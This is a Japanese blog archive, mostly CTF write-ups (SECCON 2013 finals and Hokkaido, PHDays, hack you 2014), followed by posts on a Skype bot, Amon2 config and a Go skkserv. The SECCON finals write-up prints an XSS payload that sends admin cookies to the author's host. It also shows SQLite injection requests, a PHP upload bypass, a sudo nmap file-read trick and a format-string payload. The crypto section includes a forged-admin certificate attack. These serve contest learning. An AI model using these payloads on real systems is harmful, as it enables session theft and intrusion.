SECCON 2013 全国大会 writeup

3/1, 2に行われたSECCON 2013 全国大会にdodododoとして参加してきた。最終的なスコアは1261点で、順位はおそらく9位。やはりbinaryができる人がいないとつらいものがある :)

ルール

サーバが6つ用意されていて、塔にまつわる名前が付けられている。Korin、2.kaku、Pisa、Druaga、Babel、Hanoi。開始時点では前半3つのサーバが開放されていた。1日目の残り数分の時点ですべてのサーバが開放された。
サーバにいくつかのキーワードが隠されており、そのキーワードをサブミットすることで100pt獲得することができる。また、自分のチームのフラグワードをサーバの特定の場所に書き込むことで得点が数分毎に加算されていく。

ということで、以下writeup。

Korin

最初に4つのキーワードを奪取。そのおかげで、開始から1、2時間くらいは1位をキープできていた。(その後はずるずると順位が下がっていった…)

しかし妨害もできずに、さらにフラグワードを書き込むことができなかったので、他のチームに奪われてしまった。

stage1

ぱっと見た感じ、SQLiかXSSの問題だと思ったので試してみたところ、メール欄にXSSできることがわかった。以下のような内容を投げると自分のサーバにadminがアクセスしてくるので、セッションを奪うことができる。

"><script>location.href="http://192.168.7.5/?"+document.cookie</script><"@example.com
stage2

管理者としてログインすると、パスワードを要求される画面がある。ほかにも投稿された内容を見ることができる画面があるので、そこでSQLiすることができる。
HTMLのソースを見ると、by KeigoYAMAZAKIと書いてあるので、使われているRDBMSSQLiteだということがわかる。なので、何も考えずに以下のように投げるだけ。

GET /?action=view&id=%27%20union%20select%201,1,group_concat(sql)%20from%20sqlite_master--

CREATE TABLE contact (id, name, mail, honbun),CREATE TABLE nextLVpassword (str),CREATE TABLE zdummy (dummy)

GET /?action=view&id=%27%20union%20select%201,1,group_concat(str)%20from%20nextLVpassword--

kinako!!

stage3, stage4

ファイルがアップロードできるようになる。ここは@lmt_swallowがやってくれた。簡単にまとめると

  • stage3
    • jpgのみアップロードできると書いてあるが、a.jpg.phpのようなファイルがアップロードできるのでphpが実行できる
    • /home/stage4にMyPasswordIs"stage4PassWD"という名前のファイルがあり、sshでログインできるようになる
  • stage4
    • sudo -lするとnmapがユーザーstage5としてNOPASSWDで実行することができることがわかる
    • /usr/bin/nmap -iL /home/stage5/FLAGでファイルが読める

しかし、彼がやってくれた失態は/tmp以下にファイルを書き出すということだった。

# Nmap (V. nmap) scan initiated 2.53 as: /usr/bin/nmap -iL FLAG -o /tmp/output.txt
# Nmap run completed at Sat Mar  1 14:58:22 2014 -- 0 IP addresses (0 hosts up) scanned in 20 seconds

解法がそのまま書いてある。。色々と試しているうちにやってしまったみたいだった。(stage5の権限で書き出してしまったので、気づいたときには消せなかった)
SECCON CTF 2013 FINAL | やぎはしゅブログによると、このおかげでわかったらしい…。でもちょっと笑ってしまったので彼を許すことにする :)

作問者について

個人的にby KeigoYAMAZAKI問題は適度にやさしいのとやることが分かりやすいので好き。(山崎さん、ファンです :)
セキュリティキャンプ 2013のCTFでも同じようなKorinと同じような問題(山崎さん作問)があり、その問題だけで1400pt稼ぐことができたという話もある。

Pisa, Druaga

Pisaは面倒だったので、ほとんど何もしていない。

  • HTTP headerにキーワード
    • @lmt_swallowが開始直後(最速)に発見
  • 404ページの画像がランダムで切り替わり、404_0.pngから404_5.pngまで存在する
    • 404_4.pngのときのみのalt属性にKEY{hOneyToaStAtPOSTSCRIPT}が出てくる
    • もちろん、そのときの画像はハニートースト

Druagaはファイルを持ち帰って、眠いと言いながらやることにした。TrueCryptだとすぐ気づいたが、中身を見て面倒だと確信したのですぐに寝ることにした。(寝る前にスクリプトを書いて動かしていたが、起きて確認してみると案の定、間違えていた…)

Babel

pureserverのほうは、中身を見るとformat string attackすることで起動するコマンドを/bin/calから/bin/shに変えられることがわかった。

perl -e'print "\x70\x5c\x48\x23JUNK\x71\x5c\x48\x23JUNK\x72\x5c\x48\x23JUNK\x73\x5c\x48\x23"."%08x"x2 . "%132x%n%204x%n%202x%n%221x%n"'

あとはわからなかったので放置。

Hanoi

stage1

readfile.phpでindex.phpを見るとキーワードがコメント化されている。また、readfile.phpでreadfile.phpを見るとDEFCON 21のremembermeに似ているように見えるがちょっと違う。ここには何もない。

<?php
$filename = $_GET["filename"];
$accesscode = $_GET["accesscode"];
if (md5($filename) == $accesscode){
	echo "Access granted to $filename!";
	srand($value);
	if (in_array($filename, array('readfile.php', 'index.php', 'pass.txt', 'id.txt'))==TRUE){
		$data = file_get_contents($filename);
		if ($data !== FALSE) {
			echo nl2br($data);
			exit();
		}
	}
	echo "File does not exist";
}
else{
	echo "Invalid access code";
}
?>

stage2

stage2がどこにあるのかわからなく、時間がかかった。stage1のハノイの塔のgif画像に細工があり、これはDEFCON 20のgb200と同じ。(Routards Team Blog: Defcon 20 QUALS - Grab Bag 200)
10.100.6.3に対して10.100.6.1の逆引きをしていたが、逆引きしても手がかりになるようなものはなかった。ここで、@goldcardさんが10.100.6.2に2番目のサーバがあることを発見したので、アクセスしてみると、stage2のページがあった。

stage2はstage1のページに似ているがちょっと違う。ハノイの塔の画像にリンクされているkey.zipを解凍すればいいことがわかる。パスワードは/bin/menuのMD5ハッシュ値だと書かれていた。
また、readfile.phpの中身が変わっていて、menuというファイルが見れるようになっている。さらにDEFCON 21のremembermeとほぼ同じになっていたので、DEFCON CTF Quals 2013に参加した - ももいろテクノロジーを参考にスクリプトを書いた。

<?php

$data = ...;
$data = base64_decode($data);

$time = strtotime('Sun, 02 Mar 2014 03:47:41 GMT');

srand($time);
$key = rand();
$text = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);

print $text;
?>

ここで生成されたmenuのMD5ハッシュ値を計算してみたが、key.zipが解凍できない。よくわからないが、menuに末尾に不要なNULLがくっついていたので取り除いてからMD5ハッシュ値を計算したところ解凍することができた。

stage3

stage2のハノイの塔の画像に対してbinwalkを使うと、jpeg画像が入ってることがわかる。取り出してみると、ユーザー名とパスワードが書かれた画像だったので、sshでログインすると、そこでmenuが動いている。@lmt_swallowによると11/bin/shを入力するとshellが動くらしい。サーバの中にpcapがあるので、その中身を@goldcardさんに見てもらったところ、http://10.100.6.1/src/login.phpでSquirrelMailが動いていて、ログイン画面があることがわかった。ユーザー名、パスワードはpcapに書いてあって、あとはログインするだけだったが、その時点で残り10秒ほどだったので諦めることにした。。

まとめ

参加者、運営の皆さんお疲れ様でした。
なかなか解けない問題もあったが十分楽しめた。去年の3月にCTFを知って、それからはずっとSECCON全国行きたいと思っていたのでとりあえず目標は達成ということで。
弱い分野がはっきりと分かれていて、binaryは手も出ない状況なのでなんとか打破しないといけない。

PHDays IV CTF Quals - Escape from Minecraft writeup

CTFでMinecraftの問題が出題されるとは…


f:id:akiym:20140127190847p:plain
マップを読み込むと、9つのボタンがあり、1から9までの数字が振られている。ある順番の通りに押すことで奥の開かないドアが開くみたいだ。
f:id:akiym:20140127190941p:plain
全景:
f:id:akiym:20140127191029p:plain
Minecraftではおなじみのレッドストーン回路が見える。手前が入力側で、奥が出力側。これをすべて読むのは折れるなぁと思っていたが…

入力

f:id:akiym:20140127191312p:plain
押したボタンの数字が入力される。画像は何も入力されていない状態。8であれば、

1
0
0
0

となる。

出力

f:id:akiym:20140127193537p:plain
大きく分けて回路が4つあり、それぞれの出力をAND回路(丸で囲んでいる場所)に入力している。すべての出力が1であればドアが開くことがわかる。
レッドストーン回路については テクニック/レッドストーン回路 - Minecraft Japan Wiki - アットウィキ に書いてある。
f:id:akiym:20140127194503p:plain
奥から入力された数字が入ってくる。あとはごちゃごちゃしてるけど、1か0かなのでどうなっているかの判断はつく。
出力部分をまとめた回路はこんなイメージ。[1]から[4]にかけて、ボタンを押して入力した数字がスライドしていく。実は一つずつ見てみると単純で、何も細工はなかった :)
f:id:akiym:20140127192811p:plain
つまり、3→5→4→9をボタンを押すことでドアが開く。
f:id:akiym:20140127194902p:plain
コードは3549。サーバにコードを送信するとflagが表示された。

7h1s_cr4ft_is_M1n3

hack you 2014 - Crypto writeup

Scoreboard :: hack you 2014
個人戦で、47位。まだまだ精進が足りない :)
Cryptoはすべて解けたので、writeupを残しておく。

Crypto 100: Easy one

msg002.encをdecryptする問題。
与えられているmsg001とmsg001.encをXORするとkeyが出てくる。あとはそのkeyを使ってdecryptするだけ。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
	if (argc != 3) {
		printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
		return 0;
	}
	FILE* input  = fopen(argv[1], "rb");
	FILE* output = fopen(argv[2], "wb");
	if (!input || !output) {
		printf("Error\n");
		return 0;
	}
	char k[] = "VeryLongKeyYouWillNeverGuess";
	char c, p, t = 0;
	int i = 0, j;
	while ((p = fgetc(input)) != EOF) {
		for (j = 0; j <= 0xff; j++) {
			if (p == (char)(((char)j + (k[i % strlen(k)] ^ t) + i*i) & 0xff)) {
				printf("%c", j);
				fputc(j, output);
				t = j;
				break;
			}
		}
		i++;
	}
	return 0;
}

Crypto 200: Hashme

administratorになってログインする問題。ひとまず、SALTとKEYがわからないのでどうにかして推測できるかどうか試した。
サーバから生成されるcertはlogin=ユーザー名&role=anonymous + 独自のハッシュ関数(SALT + 'login=ユーザー名&role=anonymous')Base64でencodeしたものである。KEYの長さはわからないが元の文字列はわかっているので、XORすればKEYを求めることができる。
したがって、KEYからcertをdecodeすることができる。ユーザー名aのときのcertはRK5yZMJaZX5PA31AmkxS6EpnEjvimts6QZetHTjtkk80yzLYnr1pJ2gToW/wB1UaxNAR8HM8だったため、decodeするとlogin=a&role=anonymousc69cc6019d99985cb099247b5f1591f1になる。ハッシュ値は逆算することはできないが、ハッシュ関数('login=a&role=anonymous')としているため、ハッシュ関数の性質から元の文字列に任意の文字列を付加したものを計算することができる。SALTがわからなくてもハッシュ値を計算することができる。よってhashme('login=a&role=anonymous&role=administrator')を計算できれば良い。
しかし、hashme()でいうlがわからないがlは32通り。すべて試したところ、うまくいくcertが見つかった。

KEY = "\x28\xc1\x15\x0d\xac\x67\x04\x58\x3d\x6c\x11\x25\xa7\x2d\x3c\x87\x24\x1e\x7f\x54\x97\xe9\xb8\x0c\x78\xf4\xce\x2b\x08\xdc\xab\x2b\x0d\xf2\x0b\xe0\xab\xde\x0b\x17\x51\x2a\x93\x5b\xc7\x65\x60\x7c\xf5\xe5"

def myhashme(j):
    #my secure hash function
    def F(X,Y,Z):
        return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
    def G(X,Y,Z):
        return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
    def H(X,Y,Z):
        return (X ^ Y ^ Y) & 0xFFFFFFFF
    def I(X,Y,Z):
        return (Y ^ (~Z | X)) & 0xFFFFFFFF
    def ROL(X,Y):
        return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF

    B = 0xc69cc601
    A = 0x9d99985c
    D = 0xb099247b
    C = 0x5f1591f1

    X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

    for ch in '&role=administrator':
        k, l = ord(ch), j & 0x1f
        A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
        B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
        C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
        D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF
        j += 1

    return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))

for i in range(32):
    s = 'login=a&role=anonymous&role=administrator'
    s += myhashme(i)
    s = b64encode(xor(s, KEY))
    print s

Crypto 300: Matrix

flag.wmv.outをdecryptする問題。
keyとなる4x4の行列を逆算すれば良い。WMVのsignatureは30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C (16 bytes) なので逆算するには十分な長さである。cipher = data * keyよりkey = data.I * cipherである。つまりWMVのsignatureを逆行列にしたものを掛けることでkeyが求められる。あとはdecryptするだけ。

#!/usr/bin/python
import random
import numpy
from struct import *

def Str2matrix(s):
    #convert string to 4x4 matrix
    return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]

def WStr2matrix(s):
    # 16 bytes
    matrix = []
    for i in xrange(0, len(s), 8):
        r = []
        for j in xrange(0, 8, 2):
            r.append(unpack('!H', s[i+j:i+j+2])[0])
        matrix.append(r)
    return matrix

def Matrix2str(m):
    #convert matrix to string
    return ''.join(map(lambda x : ''.join(map(lambda y : pack('!H', y), x)), m))

def Generate(password):
    #generate key matrix
    random.seed(password)
    return [[random.randint(0,64) for i in xrange(4)] for j in xrange(4)]

def Multiply(A,B):
    #multiply two 4x4 matrix
    C = [[0 for i in xrange(4)] for j in xrange(4)]
    for i in xrange(4):
        for j in xrange(4):
            for k in xrange(4):
                C[i][j] += A[i][k] * B[k][j]
    return C

data = open('flag.wmv.out', 'rb').read()

dec = "\x30\x26\xB2\x75\x8E\x66\xCF\x11\xA6\xD9\x00\xAA\x00\x62\xCE\x6C" # wmv
key = numpy.round(numpy.matrix(Str2matrix(dec)).I * numpy.matrix(WStr2matrix(data[4:4+32])).tolist())

out = open('flag.wmv', 'wb')
for i in xrange(4, len(data), 32):
    c = WStr2matrix(data[i:i+32]) * numpy.matrix(key).I
    m = Matrix2str(numpy.round(c.tolist()))
    d = ''
    for j in xrange(0, len(m), 2):
        d += m[j+1]
    out.write(d)

Crypto 400: CRYPTONET

RSA暗号の問題。packets.pcapの中身を見ると19回通信していて、おそらくすべて同じ内容(同一平文)である。
eが17かつ暗号文が17個以上あるため、中国の剰余定理でcを求めることができる。平文mを求めるには、cの17乗根を計算すれば良い。

def crt(A, M):
     Mprod = prod(M)
     Mdiv = map(lambda x: Integer(Mprod / x), M)
     X = map(inverse_mod, Mdiv, M)
     x = sum([A[i]*X[i]*Mdiv[i] for i in xrange(len(A))])
     return mod(x, Mprod).lift()

def n2s(n):
    s = hex(n)[2:].rstrip("L")
    if len(s) % 2 != 0:
        s = "0" + s
    return s.decode("hex")

c = [...]
n = [...]

print n2s(crt(c, n).nth_root(17))

SECCON 2013 北海道大会 writeup

チームdodododoで参加してきました。メンバーは@akiym, @lmt_swallow, @goldcard, @ayako119の4人です。
僕は全く解けなかったのですが、@goldcardさんのおかげで優勝できました。ありがとうございます。

f:id:akiym:20131204003412p:plain

チームメンバーによるwriteup

出身地チャート (エラーコードを探せ!)

アンケートのようなウェブアプリ。しかし、これはダミーだろうと見た。エラーコードというのは、HTTPのステータスコードのことだと思う。

  • 403
    • .htaccessや.htpasswordにアクセスする
    • nrm044____________
    • (アプリ側に対して不正なリクエストを送ると403が返ってくるが、アプリはダミーなので。)
  • 404
    • 適当にアクセスするだけ
    • ______kfou6s______
  • 405

flag: nrm044kfou6sf0nor6

デコードせよ

@ayako119さんのwriteupの補足。
このQRコードは少し特殊で、読み込めないQRコードリーダーもあるので注意。しかし、スマートフォンで十数枚のQRコードを読むのは少し大変である。さらにQRコードが100個くらいになってくると人力では無理なので、後出しジャンケンになってしまうが、スマートな解法を考えてみた。
(なぜこんなことをするかというと、ASIS CTF Writeup PPC/Code&Code - nk0t's diaryを思い出したため)

QRコードの読み込みにはzxingというライブラリが便利で、さらにコマンドラインツールもついてくる。今回はこれを使う。また、QRコードはアニメーションGIFになっているためそれを分解する必要がある。実は意外にも簡単で、2ステップで済む。

% convert +adjoin qrmono.gif qr.png
% zxing qr-{0..15}.png | base64 -D | base64 -D
USAGI NO UNAJI
UWAGI NO URAJI
UNAGI NO UMAMI
UNAGI NO GENKI
THE FLAG IS UNAGINOJUMONTAISOU

ちなみに、妨害コンテンツとして「うなぎのじゅもん体操」が流れていたが、踊る余裕はなかった。

以下、解けなかった問題

パスワードを答えなさい

binaryの問題。競技中はまったくバイナリが読めなかった。。ということで、さっき読んでみたら、割と簡単だった。これはもったいない。

use strict;
use warnings;

my @a1 = (0xde, 0xed, 0xbe, 0xef);
my @a2 = (0xba, 0xdc, 0xab, 0x1e, 0xc0, 0xed);

my @b1 = qw(
    C6 01 0F 2F 87 26 94 CF  80 18 43 C0 B3 92 E7 A4
    39 72 0B 85 23 95 B9 E2  1D 69 70 EC 2A 34 FA 4B
    4D F0 42 F7 4A 00 C9 36  5A 8E 05 0D AE D2 A3 66
    98 DB B4 6E 9A 08 3E EE  96 81 55 06 AC F9 6B 88
    24 F4 E8 63 7D DF 89 F3  A5 8D 90 74 97 FD AA 99
    B1 83 59 F5 D6 9D 7E 5B  8A E3 6C 6F 67 82 78 7F
    B7 3A B0 5D D0 76 DA 44  29 5E C3 3F DC BB 75 A6
    58 65 A1 2B E1 A0 79 7C  77 B6 14 CE A8 4F 52 31
    0A 9B 35 F1 A2 60 27 84  4C 86 9F 93 19 1C FB 8F
    28 8B FC CC CA F8 46 EA  EF AF 10 D9 56 7B B8 E9
    1B 0E C5 71 BF 3B E4 04  2D 09 53 02 2C DE 62 11
    D8 51 48 57 07 25 12 9C  8C FF 7A 1E A7 FE E6 BE
    B5 03 17 3C E5 AB BC CB  1F C4 68 C2 30 54 BA 22
    B2 CD 6D 49 6A AD A9 0C  DD D7 BD 37 C7 F2 ED 38
    40 13 16 61 33 73 4E 1A  5C 41 2E 15 C8 91 EB 3D
    45 E0 F6 50 C1 D1 9E 32  D5 47 D3 5F 64 D4 21 20
);
@b1 = map { hex } @b1;
my @b2 = qw(
    73 B5 C4 BC 6C E0 FB 15  1F 26 06 E1 04 7B 3B 3E
    08 F9 84 9E 5A DF 34 8C  3D 8A 47 D9 64 E9 F3 F1
    13 69 D2 50 C1 1A B3 AF  30 39 83 74 C9 70 18 95
    61 CD 4F 49 16 E3 6F 24  D8 0A 1E C8 C5 4E A8 BA
    46 0C FF C7 1D 85 3F E6  0F 19 C3 0D D7 A9 C6 5E
    2B B0 62 D4 EA BD 76 97  71 8F 31 A4 4D 92 4C 7D
    7C 4B EE 72 9A EB 17 53  FD 0B AB 2A 88 BE 99 54
    D1 68 11 8E B9 2E A2 EF  91 E2 5B D3 AE 42 D6 CC
    03 32 9C 87 DE 20 AD 9B  9F DA 7A 59 A5 58 B4 43
    A1 EC 56 12 DD F4 67 2C  0E 23 7E 6B B6 4A 3A 25
    F2 3C 81 51 41 78 60 01  98 FE 5F 27 1B 44 89 2D
    A3 21 79 AC A6 82 9D FC  F6 C0 B2 00 8B 29 6E E5
    35 ED D5 55 09 8D 75 F8  E7 77 F0 F5 E4 38 BF B8
    48 A0 28 33 65 45 02 36  22 CA F7 CE 7F 1C 66 CB
    05 80 93 DC 63 10 07 B7  D0 B1 14 E8 CF 6A 37 2F
    A7 94 AA 57 40 BB 6D 90  86 52 5D FA 96 DB C2 5C
);
@b2 = map { hex } @b2;

my @password = (0x9a, 0x2b, 0x88, 0x0f, 0x12, 0x62, 0x28, 0x60, 0x86, 0x3c, 0x13, 0xa2);

for my $i (0 .. scalar(@password) - 1) {
    my $d = find_index($password[$i], @b2);
    $d ^= $a2[$i % 6];
    my $c = find_index($d, @b1);
    $c ^= $a1[$i % 4];
    print chr $c;
}
print "\n";

sub find_index {
    my ($c, @xs) = @_;
    my $i = 0;
    while ($i < scalar @xs) {
        if ($c == $xs[$i]) {
            return $i;
        }
        $i++;
    }
}

flag: sUbstItUtIOn

パスワードを得よ

OSイメージの中のaというプログラムを解析し、パスワードを得よ。

@potetisenseiによると、ただa.hrbをndisasmして読むだけでいいらしい。
hrbファイルがどのような構造になっているかは以下を参考にした。offset +0x36からコード領域みたいだ。
1.NASK環境からの解脱 - Project_Rena_( unofficial plan : shoko ) - Seesaa Wiki(ウィキ)

00000053  6A50              push byte +0x50
00000055  E89800            call 0xf0
00000058  0000              add [bx+si],al
0000005A  6A61              push byte +0x61
0000005C  E89100            call 0xf0
0000005F  0000              add [bx+si],al
00000061  6A73              push byte +0x73
00000063  E88A00            call 0xf0
00000066  0000              add [bx+si],al
00000068  6A73              push byte +0x73
0000006A  E88300            call 0xf0
0000006D  0000              add [bx+si],al
0000006F  6A77              push byte +0x77
00000071  E87C00            call 0xf0
00000074  0000              add [bx+si],al
00000076  6A6F              push byte +0x6f
00000078  E87500            call 0xf0
0000007B  0000              add [bx+si],al
0000007D  6A72              push byte +0x72
0000007F  E86E00            call 0xf0
00000082  0000              add [bx+si],al
00000084  6A64              push byte +0x64
00000086  E86700            call 0xf0
00000089  0000              add [bx+si],al
0000008B  83C420            add sp,byte +0x20
0000008E  6A3A              push byte +0x3a
00000090  E85D00            call 0xf0
00000093  0000              add [bx+si],al
00000095  6A20              push byte +0x20
00000097  E85600            call 0xf0
0000009A  0000              add [bx+si],al
0000009C  6A48              push byte +0x48
0000009E  E84F00            call 0xf0
000000A1  0000              add [bx+si],al
000000A3  6A61              push byte +0x61
000000A5  E84800            call 0xf0
000000A8  0000              add [bx+si],al
000000AA  6A52              push byte +0x52
000000AC  E84100            call 0xf0
000000AF  0000              add [bx+si],al
000000B1  6A49              push byte +0x49
000000B3  E83A00            call 0xf0
000000B6  0000              add [bx+si],al
000000B8  6A62              push byte +0x62
000000BA  E83300            call 0xf0
000000BD  0000              add [bx+si],al
000000BF  6A4F              push byte +0x4f
000000C1  E82C00            call 0xf0
000000C4  0000              add [bx+si],al
000000C6  83C420            add sp,byte +0x20
000000C9  6A74              push byte +0x74
000000CB  E82200            call 0xf0
000000CE  0000              add [bx+si],al
000000D0  6A65              push byte +0x65
000000D2  E81B00            call 0xf0
000000D5  0000              add [bx+si],al
000000D7  6A4F              push byte +0x4f
000000D9  E81400            call 0xf0
000000DC  0000              add [bx+si],al
000000DE  6A53              push byte +0x53
000000E0  E80D00            call 0xf0
000000E3  0000              add [bx+si],al
000000E5  E81400            call 0xfc
000000E8  0000              add [bx+si],al

そのままだった。"Password: HaRIbOteOS"になる。

flag: HaRIbOteOS

Are you Smart?#01

04C4E4C454B4C44450
E2323265B5D6DC35CF

考えたけど、よくわからなかった。競技中はxorを取ってみたりと考えてみたがうまくいかない。結局どのチームも解けなかった。出題者によると数分で作成した問題なので簡単らしい。しかし、残念ながらSmartになれなかった。
ふと思いついて文字列同士でorを取ってみたところ"u6s6w6w5w5F6Gw75wv"と出てきた。何か関係がある…?

追記:

@shiracamusさんからTwitterにて『「0E 0F コード」でググったらそれっぽいのが…』とのこと(コメントにも)。ありがとうございます。
縦読みして、EBCDIC縦読みは考えていたが、EBCDICだとは気づかなかった。

echo -en "\x0E\x42\xC3\x42\xE3\x42\xC6\x45\x5B\x45\xBD\x46\xCD\x4C\x43\x45\x5C\x0F" | iconv --from-code=IBM930 --to-code=UTF-8
CTF大会開催中

flag: CTF大会開催中


それでは全国でお会いしましょう。

対話型SkypeボットフレームワークUnazuChanのご紹介

対話型IRCボットフレームワークUnazuSanのご紹介 | おそらくはそれさえも平凡な日々 より

プロジェクト立ち上げると色々やってくれる対話型のIRC botが欲しくなるのでAnySanとか使って適当にコピペで作るわけですが、それもタルくなってきたので、対話系のbotフレームワークを簡単に作れるUnazuSanていうのを作りました。

というのを聞いて、Skypeで動くようにしたUnazuChanていうのを作りました。使い方はUnazuSanとほぼ同じです。
akiym/p5-UnazuChan · GitHub

use 5.010;
use warnings;
use utf8;

use UnazuChan;

my $unazu_chan = UnazuChan->new(
    active_chats => ['#anappo2/$d936403094338dbb'],
    respond_all  => 1,
);

$unazu_chan->on_message(
    qr/^\s*unazu_chan:/ => sub {
        my $msg = shift;
        $msg->chat->send_message('うんうん');
    },
    qr/(.)/ => sub {
        my ($msg, $match) = @_;
        say $match;
        say $msg->body;
    },
);

$unazu_chan->on_command(
    help => sub {
        my ($body, @args) = @_;
        warn;
        $body->chat->send_message('help '. ($args[0] || ''));
    }
);

$unazu_chan->run;

通知系はikachanでまかなって対話系はUnazuSanでまかなえば大体プロジェクトでやりたいことはできるんじゃないでしょうか。

通知系はtacochanでまかなって対話系はUnazuChanでまかなえば大体プロジェクトでやりたいことはできるんじゃないでしょうか。


Skypeでも簡単にできますよーという話でした。

Amon2でconfigまわりをいいかんじにする

use Amon2::Config::Simple;
sub load_config {
    my $class = shift;
    my $config = Amon2::Config::Simple->load($class);
    if ($class->debug_mode) {
        Internals::SvREADONLY %$config, 1;
    }
    return $config;
}

こうしておくことでkeyをtypoしたり、設定し忘れてしまったときに泣かずに済みます。
毎回こんな感じで書いてた↓ので楽になりました。

my $conf = $c->config->{'DBI'} // die "missing configuration for 'DBI'";

golangはじめました

最近はgolangがアツいらしい。ちょうどRebuild: 15: After Google Reader, DIY Blogging, The Go language (typester)でtypesterさんがgolangについて触れていたのを聞いて、試しに触っていたがなかなか便利であることがわかった。
golangの印象としては

  • go get、go runにgo build、そしてgo testが便利
  • go fmtのようなコード整形ツールがついてくるのは嬉しい
    • (ただ、インデントがハードタブなのはちょっと時代遅れな気がする)
  • 標準packageが充実しているのが頼もしい
  • golangのマスコットキャラクターであるGopherがかわいい

といった感じ。
f:id:akiym:20130804110138p:plain←かわいい

golangの入門ということで、skkservを実装してみる。skkservというのは、ほとんどの方が使っているであろうSKK(日本語入力システム)の辞書サーバのことである。シンプルなプロトコルなので実装は容易であるため、題材として良さそうだ。
以下メモ書き。

GitHub - akiym/go-skkserv: Lightweight skkserv implementation for golang

packageを作成

How to Write Go Code - The Go Programming Languageを参考にして、packageを作成してみる。ここで注意したいのは、$GOPATH以下にpackageを作成するということ。

% mkdir -p $GOPATH/src/github.com/akiym/go-skkserv

とりあえずざっくりとskkserv.goに処理を書いていく。

package skkserv

import (
	"bufio"
	"log"
	"net"
)

const SkkServVersion = "0.0.1"

type Handler interface {
	Request(text string) ([]string, error)
}

type SKKServ struct {
	Port    string
	Handler Handler
}

func NewServer(port string, handler Handler) *SKKServ {
	server := &SKKServ{
		Port:    port,
		Handler: handler,
	}
	return server
}

func (s *SKKServ) Run() {
	ln, err := net.Listen("tcp", s.Port)
	if err != nil {
		log.Fatal(err)
	}
	for {
		conn, err := ln.Accept()
		if err != nil {
			continue
		}
		go s.handleConnection(conn)
	}
}

func (s *SKKServ) handleConnection(conn net.Conn) {
	defer conn.Close()
	reader := bufio.NewReader(conn)
	for {
		c, err := reader.ReadByte()
		if err != nil {
			return
		}
		switch c {
		case '0':
			return // end of connection
		case '1':
			buf, err := reader.ReadBytes(' ')
			if err != nil {
				return
			}
			s.serverRequest(conn, buf)
		case '2':
			s.serverVersion(conn)
		case '3':
			s.serverHost(conn)
		}
	}
}

型、メソッド

golangはどのような言語なのかを知るために、まずは型とメソッドについて調べてみる。golangは型に対してメソッドが生やせる。そしてメソッド名を大文字で始めることで、packageの外から呼び出せるようになる(エクスポートされる)。基本は以上。
基本的な形:

type SKKServ struct {
	Port    string
	Handler Handler
}

func NewServer(port string, handler Handler) *SKKServ {
	server := &SKKServ{
		Port:    port,
		Handler: handler,
	}
	return server
}

これだけでNewServerというメソッドを定義することができる。
別にメソッドを生やすことができるのはstructだけではなく、「型に対して」である。したがってstringに対しても同じようなことができる。

package main

import (
    "fmt"
)

type MyString string

func (m MyString) Censor() string {
    s := make([]byte, len(m))
    for i := 0; i < len(m); i++ {
        switch c := m[i]; c {
        case 'u':
            s[i] = '*'
        default:
            s[i] = c
        }
    }
    return string(s)
}

func main() {
    var foo MyString = "fuck"
    fmt.Println(foo.Censor())
}

ここで注意したいのはstringそのものに対して、メソッドを生やすことはできないということ。実際にやってみても

cannot define new methods on non-local type string

と言われてしまう。

エラーハンドリング、defer

golangには一般的なプログラミング言語でおなじみの「例外」がないらしい。代わりに、戻り値としてerrorを返すことでエラーハンドリングさせる形式になっている。
(本質はpanic、recoverという仕組みだが、ここでは触れない)
例えば、このようにエラーハンドリングができる。

		c, err := reader.ReadByte()
		if err != nil {
			return
		}

しかし、ここで気にしたいのはファイルディスクリプタをクローズ必要があるということだ。errorが返ってきたときにいちいちクローズするのは大変だ。

		c, err := reader.ReadByte()
		if err != nil {
			conn.Close()
			return
		}

		// ...
		if err != nil {
			conn.Close()
			return
		}

		// ...

なんて書いていたら日が暮れてしまう。try-catch-finallyであるところのfinallyの処理を書きたい。そこでdeferという仕組みが用意されている。deferを利用することで、returnする直前に特定の処理を実行することができる。

	defer conn.Close()

あらかじめdeferでクローズする処理を書いておけば、あとは気にする必要はない。NO MORE 悩み無用だ。
golangのエラー処理はほかの言語に慣れている身としては扱いにくいように思えたが、もろもろの処理は割と書きやすい気がする(少し貧弱かもしれないけど)。
参考: Defer, Panic, and Recover - The Go Blog

interface

今回の場合、リクエストを処理するhandlerを定義できるような設計にしたい。そこでinterfaceという仕組みを利用する。
このように書いておくことで、Request()というメソッドが実装されていることを明示することができる。

type Handler interface {
	Request(text string) ([]string, error)
}

これがまた面白くて、外部からどう利用するのかというと:

type GoogleIMESKK struct{}

func (s *GoogleIMESKK) Request(text string) ([]string, error) {
	words, err := Transliterate(text)
	if err != nil {
		return nil, err
	}
	return words, nil
}

func main() {
	var server = skkserv.NewServer(":55100", &GoogleIMESKK{})
	server.Run()
}

skkserv.NewServer()はHandlerを受け取るようにしていたので、そこにRequest()を実装した型をつっこむだけ。
これはinterfaceのほんの一部でしかなく、詳しいことはGo の interface 設計 - Block Rockin’ Codesに書いてある。

interface型

interface型はどんな型でも受け取れる。interface型を利用する具体例としては、JSONのパースがある:

	dec := json.NewDecoder(resp.Body)
	var w [][]interface{}
	if err := dec.Decode(&w); err != nil {
		return nil, err
	}
	for _, v := range w[0][1].([]interface{}) {
		word := v.(string)
		result, ok := enc.ConvertStringOK(word)
		if ok {
			words = append(words, result)
		}
	}

interface型でアサーションして、stringに当て直すあたりがよくできている。

テストを書く

これまでskkserv.goを書いていたが、テストはskkserv_test.goに書いていく。見ればわかると思うが*_test.goという名前のファイルがテストコードになる。あとはimport "testing"して、"Test"で始まるメソッドを定義しておけば、go testでテストを走らせることができる。

func TestRequest(t *testing.T) {
	server := NewServer(":55100", &TestHandler{})
	go server.Run()

	// ...

まとめ

少し雑になったが、とりあえずgolangでskkservを実装することができた。
